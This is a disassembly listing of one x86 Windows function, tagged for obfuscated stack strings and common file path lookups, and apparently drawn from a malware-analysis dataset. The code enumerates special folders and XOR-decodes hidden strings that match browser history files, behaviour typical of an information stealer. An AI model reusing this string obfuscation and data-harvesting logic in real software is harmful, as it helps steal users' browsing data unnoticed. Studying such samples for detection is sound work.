Function at 0x410027
Capabilities:
Contain obfuscated stackstrings
Get common file path

Disassembly:
mov eax, 0x4666ac
call fcn.004656a0
sub esp, 0x2a8
push ebx
xor ebx, ebx
mov dword [ebp - 0x10], ebx
cmp dword [0x4878c8], 0x10
mov eax, dword [ecx]
push esi
mov esi, 0x4878b4
mov dword [ebp - 0x6c], eax
cmovae esi, dword [0x4878b4]
push edi
call fcn.0043295d
mov edx, esi
mov ecx, eax
call fcn.004324c4
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
and dword [ebp - 0x18], ebx
mov esi, eax
mov dword [ebp - 0x20], esi
push 0x208
lea eax, [ebp - 0x2b4]
push 0
push eax
call fcn.00440770
mov eax, dword [ebp - 0x18]
add esp, 0xc
push 0
push dword [eax + 0x486cac]
lea eax, [ebp - 0x2b4]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
je 0x410693
push 4
call fcn.004444be
mov edi, eax
mov dword [ebp - 0x68], edi
pop ecx
test edi, edi
je 0x410693
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax + 0x486ca8]
mov dword [edi], ecx
test ecx, ecx
je 0x410693
push dword [eax + 0x486cb0]
lea eax, [ebp - 0x2b4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov eax, dword [ebp - 0x18]
push ecx
cmp dword [eax + 0x486ca8], 0x4778a8
jne 0x410520
lea eax, [ebp - 0x2b4]
push eax
lea ecx, [ebp - 0xac]
call fcn.0041346b
and dword [ebp - 4], 0
lea ecx, [ebp - 0xac]
or ebx, 1
mov dword [ebp - 0x10], ebx
call fcn.0040b99e
test al, al
je 0x410153
push ecx
lea eax, [ebp - 0x2b4]
push eax
lea ecx, [ebp - 0x3c]
call fcn.0041346b
mov dword [ebp - 4], 1
lea ecx, [ebp - 0x3c]
or ebx, 2
mov dword [ebp - 0x10], ebx
call fcn.0040ba07
mov byte [ebp - 0x11], 1
test al, al
jne 0x410157
mov byte [ebp - 0x11], 0
test bl, 2
je 0x410167
lea ecx, [ebp - 0x3c]
and ebx, 0xfffffffd
call fcn.00412448
or dword [ebp - 4], 0xffffffff
test bl, 1
je 0x41017e
lea ecx, [ebp - 0xac]
and ebx, 0xfffffffe
call fcn.00412448
cmp byte [ebp - 0x11], 0
je 0x410693
push ecx
lea eax, [ebp - 0x2b4]
push eax
lea ecx, [ebp - 0xac]
call fcn.0041346b
lea eax, [ebp - 0xac]
mov dword [ebp - 4], 2
push eax
lea ecx, [ebp - 0x84]
call fcn.0040b384
lea ecx, [ebp - 0xac]
call fcn.00412448
lea eax, [ebp - 0x84]
push eax
lea ecx, [ebp - 0x74]
call fcn.0040c654
mov eax, dword [ebp - 0x74]
and dword [ebp - 0x74], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x70]
and dword [ebp - 0x70], 0
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x78], eax
lea eax, [ebp - 0x84]
push eax
lea ecx, [ebp - 0x94]
call fcn.0040c654
mov ecx, dword [ebp - 0x90]
xorps xmm0, xmm0
movlpd qword [ebp - 0x8c], xmm0
and dword [ebp - 0x8c], 0
and dword [ebp - 0x88], 0
test ecx, ecx
je 0x410222
call fcn.00409de0
mov byte [ebp - 4], 6
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x4104f9
mov ecx, eax
call fcn.0040afc0
test al, al
je 0x4104de
mov eax, dword [ebp - 0x10]
lea ecx, [ebp - 0x3c]
and dword [ebp - 0x2c], 0
add eax, 0x20
and dword [ebp - 0x28], 0
push eax
mov dword [ebp - 0x10], eax
call fcn.004125a0
or ebx, 4
mov eax, dword [ebp - 0x18]
lea esi, [ebp - 0x3c]
push ecx
push dword [ebp - 0x20]
mov byte [ebp - 4], 7
cmp dword [ebp - 0x28], 8
lea eax, [eax + 0x486cb4]
push edi
cmovae esi, dword [ebp - 0x3c]
sub esp, 0x18
mov ecx, esp
push eax
and dword [ecx + 0x10], 0
and dword [ecx + 0x14], 0
call fcn.004128ab
mov edx, 0x40ed62
mov ecx, esi
call fcn.0040c282
add esp, 0x24
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x3c]
call fcn.00412448
push dword [ebp - 0x10]
and dword [ebp - 0x2c], 0
lea ecx, [ebp - 0x3c]
and dword [ebp - 0x28], 0
call fcn.004125a0
or ebx, 8
mov eax, dword [ebp - 0x18]
lea esi, [ebp - 0x3c]
push ecx
push dword [ebp - 0x20]
mov byte [ebp - 4], 8
cmp dword [ebp - 0x28], 8
push edi
cmovae esi, dword [ebp - 0x3c]
lea edi, [eax + 0x486ce4]
sub esp, 0x18
mov ecx, esp
push edi
and dword [ecx + 0x10], 0
and dword [ecx + 0x14], 0
call fcn.004128ab
mov edx, 0x40d35a
mov ecx, esi
call fcn.0040c282
add esp, 0x24
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x3c]
call fcn.00412448
push dword [ebp - 0x10]
and dword [ebp - 0x2c], 0
lea ecx, [ebp - 0x3c]
and dword [ebp - 0x28], 0
call fcn.004125a0
or ebx, 0x10
push ecx
push dword [ebp - 0x20]
mov byte [ebp - 4], 9
lea esi, [ebp - 0x3c]
cmp dword [ebp - 0x28], 8
push dword [ebp - 0x68]
cmovae esi, dword [ebp - 0x3c]
sub esp, 0x18
mov ecx, esp
push edi
and dword [ecx + 0x10], 0
and dword [ecx + 0x14], 0
call fcn.004128ab
mov edx, 0x40cc56
mov ecx, esi
call fcn.0040c282
add esp, 0x24
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x3c]
call fcn.00412448
push dword [ebp - 0x10]
and dword [ebp - 0x2c], 0
lea ecx, [ebp - 0x3c]
and dword [ebp - 0x28], 0
call fcn.004125a0
or ebx, 0x20
mov edi, dword [ebp - 0x68]
lea esi, [ebp - 0x3c]
mov eax, dword [ebp - 0x18]
push ecx
push dword [ebp - 0x20]
mov byte [ebp - 4], 0xa
cmp dword [ebp - 0x28], 8
lea eax, [eax + 0x486ccc]
push edi
cmovae esi, dword [ebp - 0x3c]
sub esp, 0x18
mov ecx, esp
push eax
and dword [ecx + 0x10], 0
and dword [ecx + 0x14], 0
call fcn.004128ab
mov edx, 0x40dda5
mov ecx, esi
call fcn.0040c282
add esp, 0x24
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x3c]
call fcn.00412448
cmp dword [ebp - 0x6c], 0
je 0x4104db
push dword [ebp - 0x10]
and dword [ebp - 0x2c], 0
lea ecx, [ebp - 0x3c]
and dword [ebp - 0x28], 0
call fcn.004125a0
or ebx, 0x40
mov esi, dword [ebp - 0x20]
lea eax, [ebp - 0x3c]
mov byte [ebp - 4], 0xb
mov dl, 0x4c
cmp dword [ebp - 0x28], 8
push ecx
cmovae eax, dword [ebp - 0x3c]
xor ecx, ecx
push esi
mov dword [ebp - 0x1c], eax
push edi
mov dword [ebp - 0x45], 0x3f25044c
mov dword [ebp - 0x41], 0x353e2338
mov byte [ebp - 0x3d], 0
xor byte [ebp + ecx - 0x44], dl
inc ecx
cmp ecx, 7
jae 0x410424
mov dl, byte [ebp - 0x45]
jmp 0x410415
sub esp, 0x18
mov byte [ebp - 0x3d], 0
lea eax, [ebp - 0x44]
mov ecx, esp
push eax
call fcn.00411d34
mov ecx, dword [ebp - 0x1c]
mov edx, 0x40f95f
call fcn.0040c282
add esp, 0x24
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x3c]
call fcn.00412448
push dword [ebp - 0x10]
and dword [ebp - 0x2c], 0
lea ecx, [ebp - 0x3c]
and dword [ebp - 0x28], 0
call fcn.004125a0
or ebx, 0x80
mov byte [ebp - 4], 0xc
lea eax, [ebp - 0x3c]
cmp dword [ebp - 0x28], 8
mov dl, 0x10
push ecx
cmovae eax, dword [ebp - 0x3c]
xor ecx, ecx
push esi
mov dword [ebp - 0x1c], eax
push edi
mov dword [ebp - 0x59], 0x63795810
mov dword [ebp - 0x55], 0x69627f64
mov word [ebp - 0x51], 0x3a3e
mov byte [ebp - 0x4f], 0
xor byte [ebp + ecx - 0x58], dl
inc ecx
cmp ecx, 9
jae 0x4104ab
mov dl, byte [ebp - 0x59]
jmp 0x41049c
sub esp, 0x18
mov byte [ebp - 0x4f], 0
lea eax, [ebp - 0x58]
mov ecx, esp
push eax
call fcn.00411d34
mov ecx, dword [ebp - 0x1c]
mov edx, 0x40f95f
call fcn.0040c282
add esp, 0x24
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x3c]
call fcn.00412448
jmp 0x4104de
mov esi, dword [ebp - 0x20]
lea ecx, [ebp - 0x7c]
call fcn.0040b3d1
mov eax, dword [ebp - 0x7c]
mov dword [ebp - 0x10], eax
test eax, eax
jne 0x410231
mov eax, dword [ebp - 0x78]
jmp 0x4104fc
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x410507
mov ecx, eax
call fcn.00409de0
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x80]
test ecx, ecx
je 0x410693
call fcn.00409de0
jmp 0x410693
push esi
push edi
sub esp, 0x18
lea eax, [eax + 0x486cb4]
mov ecx, esp
push eax
and dword [ecx + 0x10], 0
and dword [ecx + 0x14], 0
call fcn.004128ab
mov edx, 0x40ed62
lea ecx, [ebp - 0x2b4]
call fcn.0040c282
mov eax, dword [ebp - 0x18]
add esp, 0x20
push esi
push edi
sub esp, 0x18
lea esi, [eax + 0x486ce4]
mov ecx, esp
push esi
and dword [ecx + 0x10], 0
and dword [ecx + 0x14], 0
call fcn.004128ab
mov edx, 0x40d35a
lea ecx, [ebp - 0x2b4]
call fcn.0040c282
add esp, 0x20
push dword [ebp - 0x20]
push edi
sub esp, 0x18
mov ecx, esp
push esi
and dword [ecx + 0x10], 0
and dword [ecx + 0x14], 0
call fcn.004128ab
mov edx, 0x40cc56
lea ecx, [ebp - 0x2b4]
call fcn.0040c282
mov esi, dword [ebp - 0x20]
add esp, 0x20
mov eax, dword [ebp - 0x18]
push esi
push edi
sub esp, 0x18
lea eax, [eax + 0x486ccc]
mov ecx, esp
push eax
and dword [ecx + 0x10], 0
and dword [ecx + 0x14], 0
call fcn.004128ab
mov edx, 0x40dda5
lea ecx, [ebp - 0x2b4]
call fcn.0040c282
add esp, 0x24
cmp dword [ebp - 0x6c], 0
je 0x410686
push ecx
push esi
push edi
mov dl, 0x2f
mov dword [ebp - 0x4e], 0x5c46672f
mov dword [ebp - 0x4a], 0x565d405b
xor ecx, ecx
mov byte [ebp - 0x46], 0
xor byte [ebp + ecx - 0x4d], dl
inc ecx
cmp ecx, 7
jae 0x41060f
mov dl, byte [ebp - 0x4e]
jmp 0x410600
sub esp, 0x18
mov byte [ebp - 0x46], 0
lea eax, [ebp - 0x4d]
mov ecx, esp
push eax
call fcn.00411d34
mov edx, 0x40f95f
lea ecx, [ebp - 0x2b4]
call fcn.0040c282
add esp, 0x20
mov dword [ebp - 0x64], 0x372d0c44
mov cl, 0x44
mov dword [ebp - 0x60], 0x3d362b30
mov word [ebp - 0x5c], 0x6e6a
xor eax, eax
mov byte [ebp - 0x5a], 0
push esi
push edi
xor byte [ebp + eax - 0x63], cl
inc eax
cmp eax, 9
jae 0x410661
mov cl, byte [ebp - 0x64]
jmp 0x410652
sub esp, 0x18
mov byte [ebp - 0x5a], 0
lea eax, [ebp - 0x63]
mov ecx, esp
push eax
call fcn.00411d34
mov edx, 0x40f95f
lea ecx, [ebp - 0x2b4]
call fcn.0040c282
add esp, 0x24
mov edx, edi
lea ecx, [ebp - 0x2b4]
call fcn.0040c67c
mov ecx, dword [ebp - 0x18]
add ecx, 0x54
mov dword [ebp - 0x18], ecx
cmp ecx, 0xb7c
jb 0x410074
test esi, esi
je 0x4106b3
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret